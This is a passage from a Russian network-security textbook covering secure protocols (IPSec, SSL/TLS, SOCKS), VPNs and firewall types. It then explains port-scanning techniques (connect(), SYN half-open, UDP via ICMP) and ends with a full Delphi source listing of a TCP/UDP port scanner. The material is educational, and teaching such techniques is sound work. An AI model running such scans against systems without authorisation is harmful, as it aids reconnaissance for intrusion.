Защита взаимодействий с помощью безопасных протоколов может выполняться одновременно на нескольких уровнях эталонной модели. Однако это может приводить к существенному замедлению скорости обработки потока сообщений. Поэтому на практике прото-кольные средство защиты обычно размещают на каком-либо одном уровне в стеке протоколов. В качестве примера на рис. 2.6 показано


28

размещение некоторых средств защиты в многоуровневом стеке про-токолов TCP/IP.

Одним из основных средств организации защищенных взаимо-действий на сетевом уровне стека TCP/IP является протокол IPSec (Internet Protocol Security) (рис 2.6,а). Этот протокол стандартно вхо-дит в состав IP-протокола новой версии IPv6 и поддерживается в его существующей версии IPv4. Протокол IPSec предусматривает стан-дартные методы аутентификации и шифрования, формирования и проверки цифровой подписи, а также стандартные методы обмена и управления криптографическими ключами между двумя взаимодей-ствующими точками сети.

HTTP FTP SMTP

TCP

IP

HTTP FTP SMTP

TCP

IP/IPSec

SSL или TLS

а)

SMTP HTTP

TCP

IP

б) в)

S/MIME PGP SET

Рис. 2.6

Средства IPSec размещаются ниже транспортного уровня (TCP,

UDP), а поэтому оказываются незаметными для приложений. Это значит, что когда в маршрутизаторах реализуется IPSec, необходимо-сти менять прикладное программное обеспечение в системах пользо-вателя или сервера не возникает. Даже если IPSec реализуется в ко-нечных системах, на программное обеспечение верхнего уровня, включая приложения, это не влияет. Главной особенностью IPSec, позволяющей этому протоколу поддерживать самые разнообразные приложения, является возможность шифрования/аутентификации всего потока данных на уровне IP.

На сетевом уровне для управления криптографическими ключа-ми широко используются протоколы SKIP (Simple Key management for IP) и ISAKMP (Internet Security Association and Key Management Protocol) [2]. В протоколе IPv4 для управления ключами может при-меняться любой из этих двух протоколов. В реализации IPv6 прото-кол ISAKMP стандартно является составной частью протокола IPSec. Протокол SKIP проще в реализации, но в отличие от ISAKMP, он не поддерживает переговоров по согласованию методов шифрования.


29

Для защиты взаимодействий на сеансовом уровне наибольшей популярностью пользуются протокол SSL (Secure Socket Layer) и его новая версия - протокол TLS (Transport Layer Security. Протокол SSL (или TLS) размещается сразу над протоколом TCP (рис 2.6,б) и при-зван обеспечить возможность надежной защиты сквозной передачи данных с использованием протокола TCP. Этот протокол поддержи-вает защищенное соединение между двумя точками сети, обеспечи-вая взаимную аутентификацию абонентов, а также конфиденциаль-ность, подлинность и целостность передаваемой информации.

Протокол SSL/TLS обеспечивает базовый набор средств защиты, применяемых протоколами более высокого уровня. В соответствии с этим можно указать две возможности использования средств SSL. Общим решением является внедрение средств SSL в набор соответ-ствующих протоколов. Эти средства, в частности может использовать протокол HTTP, на основе которого осуществляется обмен данными при взаимодействии клиентов и Web-серверов. Такой подход обеспе-чивает прозрачность средств защиты для приложений. В то же время средства SSL можно встраивать непосредственно в прикладные про-граммы. Например, браузер MS Internet Explorer, а также большинст-во Web-серверов имеют строенную поддержку SSL.

На сеансовом уровне для стандартизации процедуры защищен-ного взаимодействия клиент-серверных приложений TCP/IP через сервер-посредника (брандмауэр) используется протокол SOCKS (в настоящее время существует его пятая версия SOCKS 5). Протокол SOCKS 5 обеспечивает создание защищенных соединений для каж-дого приложения и сеанса в отдельности.

Использование протокола SOCKS позволяет организовать безо-пасное взаимодействие и обмен информацией между разными сетя-ми. В соответствии с протоколом SOCKS различают SOCKS-сервер, которого целесообразно устанавливать на шлюз (брандмауэр) сети, а также SOCKS-клиента, которого устанавливают на пользовательские компьютеры. SOCKS-сервер обеспечивает взаимодействие с любым прикладным сервером от имени соответствующего ему клиента. SOCKS-клиент предназначен для перехвата всех запросов к приклад-ному серверу со стороны клиента и передачи их SOCKS-серверу.

Различные средства защиты могут встраиваться и в приложения, в связи с чем разработан целый ряд протоколов для реализации за-щищенных взаимодействий на прикладном уровне модели OSI (см. рис 2.6,в). Эти протоколы, как правило, являются дополнениями к различным протоколам прикладного уровня. Например, протокол


30

Secure HTTP (HTTPS) является дополнением по функциям защиты к протоколу передачи гипертекста HTTP, а протокол Secure MIME (S/MIME) – дополнением по защитным функциям к протоколу элек-тронной почты MIME.

Здесь уместно также упомянуть две протокольные системы при-кладного уровня [2,11,14]: PGP (Pretty Good Privacy)] и SET (Secure Electronic Transaction). Протокол PGP обеспечивает конфиденциаль-ность и сервис аутентификации для электронной почты и приложе-ний хранения файлов. Протокол SET предназначен для защиты элек-тронных транзакций, осуществляемых в платежных системах по сети Internet. Он реализует процедуры шифрования и цифровой подписи.

Использование подобных протоколов на прикладном уровне по-зволяет оптимизировать структуру применяемых средств защиты в зависимости от требований конкретного приложения.

Виртуальные защищенные каналы и сети Использование средств безопасных протоколов для организации

передачи информации по открытым каналам публичных сетей позво-ляет создавать так называемые виртуальные защищенные каналы – защищенные туннели. Всякий такой туннель представляет собой со-единение, организованное через открытую сеть между двумя неко-торыми узлами, по которому передаются защищенные пакеты сооб-щений. Объединение отдельных каналов передачи, локальных сетей или их фрагментов на основе защищенных туннелей называют вир-туальной защищенной (частной) сетью – VPN (Virtual Private Network) [2].

Любой из двух узлов VPN, между которыми организуется тун-нель, может принадлежать конечной или промежуточной точке за-щищаемого потока сообщений в зависимости от места размещения соответствующих средств шифрования (см. рис. 2.3). Формирование сообщений, передаваемых по туннелю, основано на инкапсуляции посылаемых пакетов в пакеты несущего протокола, в которых добав-ляется новый заголовок с информацией об отправителе и получателе. Сама по себе инкапсуляция не обеспечивает защищенность пакетов сообщений, передаваемых по туннелю VPN. Но именно благодаря инкапсуляции появляется возможность полной защиты передаваемых пакетов с обеспечением конфиденциальности, целостности и под-линности данных.

Протоколы формирования защищенных туннелей на канальном уровне независимы от протоколов сетевого уровня. Поэтому они по-


31

зволяют создавать защищенные каналы для обмена данными между удаленными компьютерами и локальными сетями, функционирую-щими по различным протоколам сетевого уровня – IP, IPX, NetBEUI и другие. Предпочтительной областью применения защищенных туннелей канального уровня считается защита информационного взаимодействия при организации удаленного доступа к локальной сети [2]. В связи с этим следует упомянуть широко распространен-ный протокол туннелирования PPTP (Point-to-Point Tunneling Proto-col), представляющий расширение известного протокола PPP ((Point-to-Point Protocol). В настоящее время происходит переориентация средств удаленного доступа на более совершенный протокол L2TP (Layer-2 Tunneling Protocol), являющийся развитием протокола PPTP. Необходимо отметить, что эти протоколы не специфицируют кон-кретные методы аутентификации и шифрования, перекладывая эту заботу на пользователей.

Туннель на основе протокола IPSec между удаленными сетями может поддерживать множество индивидуальных каналов передачи данных, вследствие чего приложения данного типа получают пре-имущества с точки зрения масштабирования по сравнению с техно-логией канального уровня. Протокол IPSec предоставляет большое разнообразие сервисов защиты, что способствует его высокой попу-лярности при создании и поддержке VPN.

Для создания защищенных виртуальных каналов на сеансовом уроне наибольшую популярность получил протокол SSL/TLS, высту-пающий в качестве своеобразного «посредника» каналов. Функцио-нируя над транспортным уровнем, он шифрует и ретранслирует тра-фик из защищенной сети в общедоступную сеть Internet для каждого сеанса в отдельности.

В отличие от виртуальных сетей, защищенных на сеансовом уровне модели OSI, виртуальные сети, защищенные на канальном или сетевом уровне, обычно просто открывают или закрывают канал для всего трафика по аутентифицированному туннелю. Это может представлять проблему, если локальная сеть на другом конце туннеля является неблагонадежной. Кроме того, созданные туннели каналь-ного и сетевого уровня функционируют одинаково в обоих направле-ниях, а виртуальные сети, защищенные на сеансовом уровне, допус-кают независимое управление передачей в каждом направлении.

Протоколы формирования защищенных виртуальных кана-лов должны быть прозрачны для прикладных протоколов защиты. Поэтому прикладные протоколы защиты информационного взаимо-


32

действия (SHTTP, S/MIME и т.п.) не относят к протоколам построе-ния защищенных виртуальных сетей, так как они полностью зависят от используемых сервисов и приложений. Соответственно примене-ние приложений, реализующих, например, SHTTP или S/MIME, на-ряду с криптографической защитой на более низком уровне, нис-колько не уменьшает, а только увеличивает уровень безопасности.

Говоря в целом о VPN, надо разделять их услуги и применяемые технологии. Суть услуг VPN состоит в предоставлении корпоратив-ным пользователям аналога частной сети на основе сети общего пользования некоторого оператора связи. Современные технологии существенно расширили возможности по организации виртуальных защищенных сетей, превращая их, по существу, в полноценные сети со средствами коммутации, маршрутизации и шлюзами [1].

Использование технологий защищенных каналов позволяет на основе открытой сети (в частности, сети Internet) создавать любое множество VPN, количество которых в основном ограничивается пропускной способностью открытых каналов связи. По мере развития этих технологий концепция VPN начинать выступать как мощное средство организации корпоративных сетей.

2.4. Экранирование межсетевых взаимодействий

Функции межсетевого экранирования Размещение средств защиты от сетевых атак только на оконеч-

ном оборудовании (рабочих станциях, серверах, терминалах и т. п.) приводит к полностью распределенной структуре системы безопас-ности. В больших сетях это создает определенные сложности по ад-министрированию таких систем. Так, если в системе защиты будут выявлены изъяны, то администратору системы придется вносить из-менения в средства защиты всех оконечных пользователей. Опреде-ленной проблемой в таких сетях оказывается также контроль за со-блюдением всеми пользователями единой системы безопасности, выбранной на предприятии. Ведь многие бреши в системе безопасно-сти создаются самими пользователями, например, применение триви-альных и редко изменяемых паролей.

Одним из альтернативных способов организации системы защи-ты, широко используемых в компьютерных сетях, является экраниро-вание, основанное на концентрации средств защиты в определенных точках сети, через которые пропускается общий трафик, с контролем


33

всего потока сообщений, проходящего через эти точки. В этом случае в рамках единой политики безопасности осуществляется целостная защита группы оконечных систем, образующих подсеть или даже целую сеть. Аппаратно-программные комплексы, обеспечивающие такую защиту, получили название межсетевых экранов. Их также называют брандмауэрами или системами Firewall.

Межсетевой экран позволяет разделить общую сеть на две или более частей и реализовать набор правил, определяющих условие прохождения сообщений через границу из одной части сети в другую (рис.2.8). Таким образом осуществляется противодействие несанк-ционированному проникновению сообщений из одной части сети в другую.

S1 S2

Межсетевойэкран

Рис. 2.8

Обычно брандмауэр располагается между защищаемой внутрен-ней сетью предприятия и потенциально враждебной внешней сетью (рис.2.9). При этом все взаимодействия между этими сетями должны осуществляться только через брандмауэр. Организационно бранд-мауэр входит в состав защищаемой сети. В этой системе брандмауэр призван обеспечивать безопасный доступ к внешней сети и ограни-чивать доступ внешних пользователей к внутренней сети. Он пропус-кает через себя весь соответствующий трафик, принимая для каждого проходящего сообщения решение «пропустить» или «отбросить» его на основе определенного набора правил.

При подключении сети предприятия к глобальной сети Internet брандмауэр, как правило, устанавливается в точке, где внутренняя сеть предприятия соединяется с Internet. В этом случае брандмауэр защищает внутреннюю сеть предприятия от «вторжений» со стороны глобальной сети Internet. С другой стороны, наличие брандмауэра позволяет ограничить доступ внутренних пользователей к различного рода ресурсам и сервисам Internet, не имеющих служебного назначе-ния.


34

Клиенты

Серверы Клиенты

Серверы

Защищаемаявнут ренняя сет ь

Пот енциально враж дебная внешняя

сет ь

Меж

сете

вой

экра

н(б

ранд

мау

эр)

Рис. 2.9

Наличие единственной пограничной точки между сетями в виде брандмауэра упрощает задачу контроля безопасности, поскольку используемые средства защиты оказываются сосредоточенными в одном месте.

Межсетевой экран должен учитывать протоколы информацион-ного обмена, положенные в основу функционирования внутренней и внешней сетей. Если эти протоколы отличаются, то брандмауэр дол-жен поддерживать многопротокольный режим работы, обеспечивая соответствующее протокольное преобразование. Чаще всего возника-ет необходимость в совместной поддержке стеков протоколов SPX/IPX и TCP/IP.

Брандмауэр не является симметричным средством. Для него от-дельно задаются правила, ограничивающие доступ из внутренней сети во внешнюю сеть и наоборот. В общем случае работа межсете-вого экрана основана на динамическом выполнении двух групп функций:

▪ фильтрации проходящих через него информационных потоков; ▪ посредничества при реализации межсетевых взаимодействий. Фильтрация информационных потоков состоит в их выборочном

пропускании через экран, возможно, с выполнением некоторых пре-образований. Фильтрация осуществляется на основе некоторого на-бора правил, являющихся выражением сетевых аспектов принятой политики безопасности.

Функции посредничества межсетевой экран выполняет с помо-щью специальных программ-посредников (экранирующих аген-тов), которые запрещают непосредственную передачу сообщений между внутренней и внешней сетями. При необходимости досту-


35

па из одной сети в другую вначале должно быть установлено ло-гическое соединение с программой-посредником. Далее взаимо-действие между компьютерами внешней и внутренней сети осу-ществляется через программу-посредника, которая может выпол-нять фильтрацию потока сообщений, а также множество других защитных функций [2,17]. При таком подходе усложняется не-санкционированный доступ из одной сети в другую, поскольку они логически изолируются друг от друга.

В зависимости от типа экрана эти функции могут выполняться с различной полнотой. Простые межсетевые экраны ориентированы на выполнение только одной из данных функций. Комплексные экраны обеспечивают совместное выполнение указанных функций защиты, обеспечивая большую степень защиты. Однако они снижают пропу-скную способность между внутренней и внешней сетями и не обла-дают той степенью прозрачности для конечных пользователей, кото-рая характерна для простых фильтров.

Функционально брандмауэр может быть реализован на отдель-ном компьютере. Однако при этом система защиты состоит из одного периметра и соответственно имеет малую глубину. Для увеличения глубины защиты сетей используются архитектурные построения брандмауэров на основе нескольких выделенных компьютеров, орга-низованных определенным образом. В связи с этим следует назвать несколько распространенных схем организации брандмауэров [2,17]:

- схема на основе двудомного (двухпортового) хоста; - схема с двумя и более защищенными сетями; - схема с несколькими хост-бастионами и другие. При соответствующей организации брандмауэров в системе за-

щиты создается несколько эшелонов (периметров) защиты, за счет чего разделяется общий поток сообщений и улучшается изоляция внешней и внутренней сетей.

Средство, подобное межсетевому экрану, может использоваться и для защиты отдельного компьютера. В этом случае экран, уже не являющийся межсетевым, устанавливается на защищаемый ком-пьютер. Такой экран, называемый персональным брандмауэром или системой персонального экранирования, контролирует весь исходящий и входящий трафик независимо от всех прочих сис-темных защитных средств. При экранировании отдельного ком-пьютера поддерживается доступность сетевых сервисов, но уменьшается или вообще ликвидируется нагрузка, индуцирован-ная внешней активностью. В результате снижается уязвимость


36

внутренних сервисов защищаемого таким образом компьютера, поскольку первоначально сторонний злоумышленник должен преодолеть экран, где защитные средства сконфигурированы осо-бенно тщательно и жестко.

Особенности межсетевого экранирования на различных уровнях модели OSI

Брандмауэры поддерживают безопасность межсетевого взаимо-действия на различных уровнях модели OSI. При этом функции за-щиты, выполняемые на разных уровнях эталонной модели, сущест-венно отличаются друг от друга. Поэтому комплексный межсетевой экран удобно представить в виде совокупности уровневых экранов, каждый из которых ориентирован на определенный уровень модели OSI. Чаще всего комплексный экран функционирует на сетевом, се-ансовом и прикладном уровнях эталонной модели. Соответственно различают такие уровневые брандмауэры, как экранирующий мар-шрутизатор (называемый также пакетным фильтром, фильтрующим маршрутизатором), экранирующий транспорт (шлюз сеансового уровня), а также экранирующий шлюз (шлюз прикладного уровня) (рис.2.10) [2,17].


Уровень представления

Сеансовый уровень


Сетевой уровень

Канальный уровень

Физический уровень


Уровень представления

Сеансовый уровень


Сетевой уровень

Канальный уровень

Физический уровень

Экранирующийшлюз (прикладной

шлюз)

Экранирующийт ранспорт (шлюзсеансового уровня)

Экранирующиймаршрут изат ор

Рис. 2.10

Экранирующий маршрутизатор предназначен для фильтрации

пакетов сообщений и обеспечивает прозрачное взаимодействие меж-ду внутренней и внешней сетями. Защитные функции прикладного шлюза и шлюза сеансового уровня относятся к функциям посредни-


37

чества. Шлюз сеансового уровня осуществляет контроль виртуаль-ных соединений и трансляцию IP-адресов при взаимодействии с внешней сетью. Прикладной шлюз может выполнять существенно большее количество функций защиты. Программные посредники прикладного шлюза реализуют функции защиты, относящиеся к службам, обслуживаемым различными прикладными протоколами (HTTP, FTP, SMTP, Telnet и другие). К тому же этот шлюз может фильтровать отдельные виды команд и другую информацию, содер-жащуюся в протоколах прикладного уровня.

Поскольку используемые в сетях протоколы (TCP/IP, SPX/IPX) не-однозначно соответствуют модели OSI, то экраны перечисленных типов при выполнении своих функций могут охватывать и соседние уровни эталонной модели. Например, прикладной экран может осу-ществлять автоматическое шифрование сообщений при их передаче во внешнюю сеть, а также автоматическое расшифровывание крипто-графически закрытых принимаемых данных. В этом случае такой экран функционирует не только на прикладном уровне модели OSI, но и на уровне представления. Шлюз сеансового уровня при своем функционировании охватывает транспортный и сетевой уровни мо-дели OSI. Экранирующий маршрутизатор при анализе пакетов сооб-щений обычно проверяет их заголовки не только сетевого, но и транспортного уровня.

Межсетевые экраны каждого из типов имеют свои достоинства и недостатки. Многие из используемых брандмауэров являются ли-бо прикладными шлюзами, либо экранирующими маршрутизато-рами, не поддерживая полную безопасность межсетевого взаимо-действия. Надежную же защиту обеспечивают только комплекс-ные межсетевые экраны, каждый из которых объединяет экранирующий маршрутизатор, шлюз сеансового уровня, а также прикладной шлюз.


38

Вопросы к разделу 2 1. Объясните значение основных свойств безопасных систем:

кон-фиденциальность, целостность, доступность. 2. Какая схема шифрования – симметричная или асимметрич-

ная – является более масштабируемой? 3. Правильно ли утверждение: «Поскольку открытый ключ не

является секретным, то его не надо защищать»? 4. В чем состоит уязвимость схем шифрования сообщений с от-

крытым ключом? 5. Поясните особенности построения защищенных туннелей на

разных уровнях многоуровневой модели сетевого взаимо-действия OSI.

6. Какие основные функции выполняют межсетевые экраны? 7. На чем основывается технология построения виртуальных

защищенных сетей (VPN)? 8. Как называется логическое соединение между двумя узлами

публичной сети, в котором выполняется шифрование и ау-тентификация передаваемы данных?


39

3. ПАССИВНЫЕ АТАКИ В СЕТЯХ TCP/IP

Пассивные атаки обычно применяются злоумышленниками на

начальном этапе реализации информационных атак для выявления содер-жимого передаваемых по сети данных, а также их источника в виде открытых портов TCP или UDP. Средства, используемые для организации таких атак, могут оказаться полезными для системных администраторов при анализе работы сети (ее загруженности, рабо-тоспособности и т.д.).

В данном разделе рассматриваются два основных вида пассив-ных атак: прослушивание/сканирование портов и прослушивание IP-тра-фика.

3.1. Прослушивание (сканирование) портов Сканирование портов имеет целью выявление подключенных к сети компьютеров и определение работающих на них сетевых серви-сов в виде открытых портов ТСР или UDP.

Термин "порт" является абстрактным понятием, используемым для упрощенного описания механизма установления соединения между хос-тами. Использование этого понятия предоставляет возможность иссле-дования сетевого окружения удаленного ком-пьютера методом прослушивания (опроса) его портов. Такое про-слушивание состоит в том, что на порт атакуемого хоста посыла-ется пакет для опроса и в зависимости от полученного отклика определяется состояние порта (открыт-закрыт). Используемые методы прослушивания основываются на том, что атакуемая ма-шина с открытым портом (сервисом) всегда находится в состоя-нии ожидания соединения.

На основе описанной процедуры может быть реализовано ком-плексное действие – сканирование портов, состоящее в прослу-шивании некоторого множества портов, в частности, всего диапа-зона портов с номерами от 1 до 65535.

Обычно сканированию портов предшествует процедура выявле-ния функционирующих в сети компьютеров и определения их адре-сов. Ра-бота этой процедуры организуется аналогично программе ping и основана на рассылке узлам сети Echo-сообщений, которые представляют собой разновидность сообщений протокола ICMP (In-


40

ternet Control Message Protocol) и используются для тестирования свя-зи по протоколу IP между двумя узлами сети. Для этого атакующий хост в качестве запроса отправляет удаленному компьютеру ICMP-сообщение и ожидает ответа, который также представляет собой ICMP-сообщение (так называемое ICMP-эхо). Если атакуемый узел не существует или выключен, зло-умышленник получит в ответ ICMP-сообщение Destination Unreachable: Host Unreachable. Варьи-руя временем ожидания ответа на ping-запрос, злоумышленник имеет возможность сканировать большие сети.

Администратор сети может обнаружить попытки таких действий путем анализа трафика в сети и отслеживания Echo-сообщений, по-сылаемых последовательно за короткий промежуток времени по всем адресам сети. Со своей стороны, для большей скрытности злоумыш-ленник может существенно растянуть процесс во времени. Использо-вание аналогичных приемов распространяется и на сканирование портов TCP/UDP.

Методы сканирования TCP-портов И с п о л ь з о в а н и е ф у н к ц и и cоnnect ( ). Данный метод считается основным для сканирования портов по протоколу TCP. Его может применить любой пользователь, не обладающий ника-кими привилегиями на хосте. Функция connect( ) позволяет со-единиться с любым портом удаленного компьютера. Если порт, указанный в качестве параметра функции, открыт для соединения (то есть атакуемый компьютер «слушает» сеть по этому порту), то результатом выполнения функции будет установление соответст-вующего соединения. В противном случае (если соединение не установлено) порт с указанным номером считается закрытым. Процесс сканирования данным методом иллюстрируется на рис. 3.1,а.

Этот процесс начинается, как всякое стандартное TCP-соединение, и основан на обмене TCP-пакетами с поднятыми флага-ми SYN (синхронизировать) или ACK (подтвердить). Однако сразу после получения подтверждения от атакуемого хоста атакующий компьютер разрывает соединение путем посылки TCP-пакета с под-нятым флагом RST (сбросить).


41

а) б)

Атакующийхост

Атакующийхост

Атакуемыйхост


Рис. 3.1

Следует заметить, что сканирование такого вида при многократ-ном повторе достаточно легко обнаружить и отфильтровать. Log-файл сканируемого компьютера укажет службам, отвечающим за внешние подключения, на многочисленные попытки подключения с одного адреса и наличие ошибок установления соединения (по-скольку атакующий хост после подтверждения соединения сразу обрывает его), а те, в свою очередь, немедленно заблокируют дос-туп для компьютера с адресом атакующего хоста.

С к а н и р о в а н и е ф л а г о м SYN. Данный метод известен еще как "сканирование с установлением наполовину открытого соединения" (half-open scanning), поскольку установление полного TCP-соединения не производится. В этом случае хост отправляет на атакуемый порт SYN-пакет, как бы намереваясь создать соеди-нение, и ожидает ответа. Получение в ответ TCP-пакета с флагом RST означает, что этот порт за-крыт Наличие в ответе флагов SYN+ACK означает, что атакуемый порт открыт, и в этом случае атакующий хост немедленно отправляет RST-пакет для сброса ус-танавливаемого соединения (рис. 3.1,б). Поскольку соединение так и не было открыто (ACK от злоумышленника не был полу-чен), то зарегистрировать такой вид сканирования гораздо слож-нее.

Сканирование в режиме половинного открытия требует от зло-умышленника возможности формировать одиночные TCP-сегменты в обход стандартного модуля TCP (или, при использо-


42

вании уже написанных программ, как минимум – прав суперполь-зователя).

Методы сканирования UDP-портов Для определения открытых портов UDP злоумышленник может

отправить на атакуемый порт UDP-сообщение. Несмотря на то, что организация протокола UDP проще, чем TCP, сканировать UDP-порты гораздо труднее. Это связано прежде всего с концепцией про-токола UDP, как протокола с негарантированной доставкой данных. Принимающий UDP-порт не посылает подтверждение о получении запроса на установление соединения, поэтому не существует никакой гарантии, что отправленные UDP-порту данные успешно дойдут до него.

П р о в е р к а ICMP-с о о б щ е н и я «П о р т н е д о с т у п е н». Для сканирования UDP-портов можно использовать тот факт, что большинство компьютеров в ответ на пакет, прибывший на за-крытый UDP-порт, отправляют ICMP-сообщение "Порт недосту-пен" (Port Unreachable - PU). Таким образом, если в ответ на UDP-пакет пришло ICMP-сообщение PU, то сканируемый порт объяв-ляется закрытым, в противном случае (при отсутствии PU) порт считается открытым. Поскольку нет гарантии, что запросы дойдут до атакуемого хоста, нападающая сторона должна позаботиться о повторной передаче UDP-пакета, который мог оказаться потерян-ным.

И с п о л ь з о в а н и е м ф у н к ц и й recvfrom( ) и write( ). Этот метод используется в случае, когда пользователь, проводящий сканирование, не обладает правами администратора на хосте. По-скольку такой пользователь не может "читать" ICMP-сообщение PU, в операционных системах, поддерживающих механизм соке-тов (например, в Windows или Linux), имеется возможность полу-чения информации о состоянии UDP-порта косвенным способом. Так например, попытка вызова функции write( ) на закрытый порт обычно приводит к возникновению ошибки.

Функция recvfrom( ) в этом плане более информативна. Вызов ее на неблокированный UDP-сокет сервера обычно возвращает ошибку EAGAIN (Try Again - "попытайтесь еще раз") в случае, когда ICMP-сообщение не было принято, и ECONREFUSED (Connection Refused - "соединение закрыто"), если ICMP-сообщение было принято. Таким


43

образом, по этим признакам злоумышленник также может опреде-лить состояние портов сканируемого сервера.

Программная реализация сканеров портов Для демонстрации работы описанных методов сканирования

ниже приводится простое приложение-сканер портов TCP/UDP, под-готовленное средствами Delphi 7 в ОС Windows 2000 Pro. Несмотря на то, что это приложение довольно схематично, на его примере про-иллюстрированы основные принципы разработки подобного рода программ, а также логика использования API сокетов (Winsock API) для соответсвующих целей. В приложении реализован метод скани-рования для TCP-портов –с помощью функции connect( ), а для UDP-портов – с помощью функции recvfrom( ).

Главная форма программы сканирования показана на рис. 3.2. Режим сканирования выбирается с помощью соответствующих пере-ключателей. Диапазон сканируемых портов задаётся в полях “На-чальный порт” и “Конечный порт”. Справа с помощью компонента TTreeView строится дерево открытых портов. В нижней части фор-мы, рядом с кнопкой «Сканировать», располагается компонент TPro-gressBar, визуально отображающий процесс сканирования.

Рис. 3.2


44

Для использования API сокетов к приложению сканера подклю-чается интерфейсный модуль Winsock.pas, входящий в стандартную поставку Delphi. Ниже приводится синтаксис целого ряда функций, объявленных в этом модуле, которые используются в приложении сканера.

• function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer;

Инициализирует библиотеку сокетов. Возвращаемое значение: 0 – нормально, в противном случае - код ошибки.

• function WSACleanup: Integer; Завершает использование библиотеки сокетов. Возвращаемое зна-чение: 0 – нормально, SOCKET_ERROR - ошибка.

• function socket( const domain, type, protocol: Integer ): TSocket; Образует точку сетевого соединения (сокет). Передача данных про-исходит путём чтения записи в сокет. Возвращаемое значе-ние: дескриптор сокета в случае успеха, INVALID_SOCKET – ошибка.

• function connect( const s: TSocket; const peer: PSockAddr; peer_len: Integer): Integer;

Устанавливает соединение на указанном сокете. Через параметр peer в функцию передаётся указатель на структуру TSockAddr, кото-рая содержит адрес и порт удалённого хоста. Возвращаемое значе-ние: 0 – нормально, не 0 – ошибка.

• function recvfrom(s: TSocket; var Buf; len, flags: Integer; var from: TSockAddr; var fromlen: Integer): Integer;

Принимает данные из не ориентированного на соединение соке-та. Возвращаемое значение: число принятых байтов в случае успеха или –1 при ошибке.

• function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: SockAddr; tolen: Integer): Integer;

Передаёт данные через не ориентированный на соединение со-кет. Возвращаемое значение: число переданных байтов в случае ус-пеха или –1 при ошибке.

• function setsockopt(s: TSocket; level, optname: Integer; optval: PChar; optlen: Integer): Integer;

Устанавливает режим (опции) работы сокета. Возвращаемое зна-чение: 0 – нормально, SOCKET_ERROR - ошибка.


45

В листинге 3.1 приводится текст программного модуля, демон-стрирующий принцип реализации атаки типа сканирования TCP/UDP- портов на основе рассматриваемых методов. В этом тексте опущено оп-ределение некоторых компонентов формы, а также не представлена об-работка ошибочных ситуаций. Листинг 3.1 unit UnMain; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, StdCtrls, ExtCtrls, Winsock, Sockets; type TForm1 = class(TForm)

// Компонент для ввода IP-адреса edtAddress: TEdit; // Компонент для выбора режима сканирования rgScanMode: TRadioGroup; // Два компонента для ввода начального и // конечного портов сканирования edtBPort: TEdit; edtEPort: TEdit; ProgressBar1: TProgressBar; // Кнопка активации процесса сканирования btnScan: TButton; // Компонент для отображения дерева открытых // портов tvOpenPorts: TTreeView; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure btnScanClick(Sender: TObject);

private FAddress: TSockAddr; // Структура адреса со-

кета FCurrentNode: TTreeNode; FSocket: TSocket; // Дескриптор сокета // Флаг, указывающий на инициализацию WinSock FStarted: Boolean;


46

FTimeout: LongWord; // Тайм-аут procedure CleanUp; function GetSocketAddr(const AHost, APort: string): TSockAddr; function SockTimeout(const AValue: Integer): Integer; function StartUp: Boolean; procedure TCPScaner(const AAddress: string; const ABegPort, AEndPort: Word); procedure UDPScaner(const AAddress: string; const ABegPort, AEndPort: Word);

end; var Form1: TForm1; implementation {$R *.dfm} var //Сведения о реализации WinSock WSAData : TWSADATA; // Закрытие Winsock procedure TForm1.CleanUp; begin if FStarted then begin FStarted:=False; WSACleanUp; end; end;

// Обработчик события OnCreate() формы procedure TForm1.FormCreate(Sender: TObject); begin FStarted:=StartUp; end;

// Инициализация Winsock function TForm1.StartUp: Boolean; begin Result:=WSAStartUp($0002, WSAData) = 0; end;


47

// Обработчик события OnDestroy() формы procedure TForm1.FormDestroy(Sender: TObject); begin CleanUp; end;

// Реализация TCP-сканирования procedure TForm1.TCPScaner(const AAddress: string; const ABegPort, AEndPort: Word); var i: Integer; begin // Сканирование с начального по конечный порты for i:=ABegPort to AEndPort do begin //Создание сокета FSocket:=socket(AF_INET, SOCK_STREAM, 0); // Заполнение структуры адреса сокета

FAddress:=GetSocketAddr(AAddress, IntToStr(i)); Application.ProcessMessages; // Установление соединения if connect(FSocket, FAddress, si-

zeof(FAddress)) = 0 then begin tvOpenPorts.Items.AddChild(FCurrentNode, IntToStr(i)); closesocket(FSocket); // Закрытие сокета end; ProgressBar1.Position:=i;

end; end; // Обработчик нажатия кнопки "Сканировать" procedure TForm1.btnScanClick(Sender: TObject); var Port1, Port2: string; begin Port1:=edtBPort.Text; Port2:=edtEPort.Text; FCurrentNode:=tvOpenPorts.Items.AddChild(nil, edtAddress.Text);


48

ProgressBar1.Max:=StrToInt(Port2); ProgressBar1.Min:=StrToInt(Port1); // Выбор TCP или UDP сканирования case rgScanMode.ItemIndex of 0: begin

FCurrentNode:=tvOpenPorts.Items. AddChild(FCurrentNode, 'TCP'); TCPScaner(edtAddress.Text,

StrToInt(Port1), StrToInt(Port2)); end;

1: begin FCurrentNode:=tvOpenPorts.Items. AddChild(FCurrentNode, 'UDP'); UDPScaner(edtAddress.Text,

StrToInt(Port1), StrToInt(Port2));

end; end; ProgressBar1.Position:=0; end;

// Получение структуры адреса сокета function TForm1.GetSocketAddr(const AHost, APort: string): TSockAddr; begin Result.sin_family:=AF_INET; Result.sin_addr.s_addr:=inet_addr(PChar(AHost)); Result.sin_port:=htons(StrToInt(APort)); end;

// Реализация UDP-сканирования procedure TForm1.UDPScaner(const AAddress: string; const ABegPort, AEndPort: Word); var i, Len: Integer; Buf: array[0..0] of Byte; begin FTimeout:=100; FSocket:=socket(AF_INET, SOCK_DGRAM, 0); SockTimeout(SO_RCVTIMEO); for i:=ABegPort to AEndPort do


49

begin FAddress:=GetSocketAddr(AAddress, In-

tToStr(i)); SendTo(FSocket, Buf, 0, 0, FAddress, SizeOf(FAddress)); Application.ProcessMessages; Len:=SizeOf(FAddress); if RecvFrom(FSocket, Buf, Sizeof(Buf), 0, FAddress, Len)=SOCKET_ERROR then if (WSAGetLastError=WSAETIMEDOUT) then tvOpenPorts.Items.AddChild(FCurrentNode, IntToStr(i)); ProgressBar1.Position:=i;

end; closesocket(FSocket); end; // Установка для сокета опции тайм-аута function TForm1.SockTimeout(const AValue: Integ-er): Integer; begin Result:=setsockopt(FSocket, SOL_SOCKET, AValue, PChar(@FTimeout), SizeOf(FTimeout)); end; end.

